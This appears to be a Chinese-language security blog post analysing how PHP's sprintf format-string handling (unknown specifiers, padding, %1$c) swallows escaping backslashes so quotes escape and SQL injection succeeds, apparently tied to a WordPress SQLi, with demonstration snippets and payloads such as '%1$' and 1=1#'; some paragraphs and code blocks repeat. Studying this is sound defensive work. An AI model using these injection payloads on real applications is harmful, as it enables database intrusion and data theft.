关键知识点

1
2
3
4
5
6
7
<?php

$input = addslashes("%1$' and 1=1#");
$b = sprintf("AND b='%s'", $input);
...
$sql = sprintf("SELECT * FROM t WHERE a='%s' $b", 'admin');
echo $sql;

通过fuzz得知,在php的格式化字符串中,%后的一个字符(除了'%')会被当作字符类型,而被吃掉,单引号',斜杠\也不例外。

如果能提前将%' and 1=1#拼接入sql语句,若存在SQLi过滤,单引号会被转义成\'

1
select * from user where username = '%\' and 1=1#';

然后这句sql语句如果继续进入格式化字符串,\会被%吃掉,'成功逃逸

1
2
3
4
5
6
<?php
$sql = "select * from user where username = '%\' and 1=1#';";
$args = "admin";
echo sprintf( $sql, $args ) ;
//result: select * from user where username = '' and 1=1#'
?>

还可以使用%1$吃掉后面的斜杠,而不引起报错

1
2
3
4
5
6
<?php
$sql = "select * from user where username = '%1$\' and 1=1#' and password='%s';";
$args = "admin";
echo sprintf( $sql, $args) ;
//result: select * from user where username = '' and 1=1#' and password='admin';
?>

国外安全研究人员Anthony Ferrara给出了另一种此漏洞的利用方式

1
2
3
4
5
6
7
<?php

$input1 = '%1$c) OR 1 = 1 /*';
$input2 = 39;
$sql = "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s";
$sql = sprintf($sql, $input2);
echo $sql;

%c起到了类似chr()的效果,将数字39转化为',从而导致了sql注入。

0x02 漏洞原理

上述WordPress的SQLi的核心问题在于在sprintf中,'%s'的前一个'被吃掉了,这里利用了sprintfpadding功能

img

单引号后的一个字符会作为padding填充字符串。

此外,sprintf函数可以使用下面这种写法

img

**%后的数字代表第几个参数,$**后代表类型。

所以,payload%1$'%s'中的'%被视为使用%进行 padding,导致了'的逃逸。

0x03 php格式化字符串

但在测试过程中,还发现其他问题。php的sprintfvsprintf函数对格式化的字符类型没做检查。

如下代码是可以执行的,显然php格式化字符串中并不存在%y类型,但php不会报错,也不会输出%y,而是输出为空

1
2
3
4
5
<?php
$query = "%y";
$args = 'b';
echo sprintf( $query, $args ) ;
?>

通过fuzz得知,在php的格式化字符串中,%后的一个字符(除了'%')会被当作字符类型,而被吃掉,单引号',斜杠\也不例外。

如果能提前将%' and 1=1#拼接入sql语句,若存在SQLi过滤,单引号会被转义成\'

1
select * from user where username = '%\' and 1=1#';

然后这句sql语句如果继续进入格式化字符串,\会被%吃掉,'成功逃逸

1
2
3
4
5
6
<?php
$sql = "select * from user where username = '%\' and 1=1#';";
$args = "admin";
echo sprintf( $sql, $args ) ;
//result: select * from user where username = '' and 1=1#'
?>

不过这样容易遇到PHP Warning: sprintf(): Too few arguments的报错。

还可以使用%1$吃掉后面的斜杠,而不引起报错。

1
2
3
4
5
6
<?php
$sql = "select * from user where username = '%1$\' and 1=1#' and password='%s';";
$args = "admin";
echo sprintf( $sql, $args) ;
//result: select * from user where username = '' and 1=1#' and password='admin';
?>

通过翻阅php的源码,在ext/standard/formatted_print.c的642行

img

可以发现php的sprintf是使用switch…case…实现,对于未知的类型default,php未做任何处理,直接跳过,所以导致了这个问题。

高级php代码审核技术中的5.3.5中,提及过使用$order_sn=substr($_GET["order_sn"], 1)截断吃掉\"

之前也有过利用iconv转化字符编码,iconv('utf-8', 'gbk', $_GET['word'])因为utf-8和gbk的长度不同而吃掉\

几者的问题同样出现在字符串的处理,可以导致'的转义失败或其他问题,可以想到其他字符串处理函数可能存在类似的问题,值得去继续发掘。


https://www.cnblogs.com/phpper/p/7546054.html

https://paper.seebug.org/386/

https://www.cnblogs.com/test404/p/7821884.html

https://www.php.net/sprintf